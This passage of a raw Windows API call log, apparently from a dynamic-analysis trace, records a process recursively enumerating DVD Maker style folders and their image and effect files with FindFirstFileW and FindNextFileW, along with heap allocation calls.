ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0238.094] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0238.095] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0238.095] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0238.095] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0238.095] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0238.095] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1 [0238.096] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1 [0238.096] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1 [0238.096] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0238.097] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1 [0238.097] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1 [0238.097] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1 [0238.097] GetProcessHeap () returned 0x560000 [0238.097] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0238.097] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0238.301] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.301] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0238.302] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0238.302] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0238.303] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0238.303] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0238.304] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0238.304] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0238.304] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0238.304] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 1 [0238.304] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 0 [0238.305] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0238.309] GetProcessHeap () returned 0x560000 [0238.309] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0238.309] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0238.309] GetProcessHeap () returned 0x560000 [0238.309] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0238.309] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0238.526] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.526] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0238.526] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0238.527] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1 [0238.527] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1 [0238.528] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x0, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 1 [0238.528] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0238.528] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0238.528] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0238.529] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0238.529] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0238.529] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f199665, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f199665, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0238.529] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0238.529] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 0 [0238.530] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0238.532] GetProcessHeap () returned 0x560000 [0238.533] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0238.533] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0238.533] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea2923b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea2923b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="heart_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0238.533] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0238.533] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, 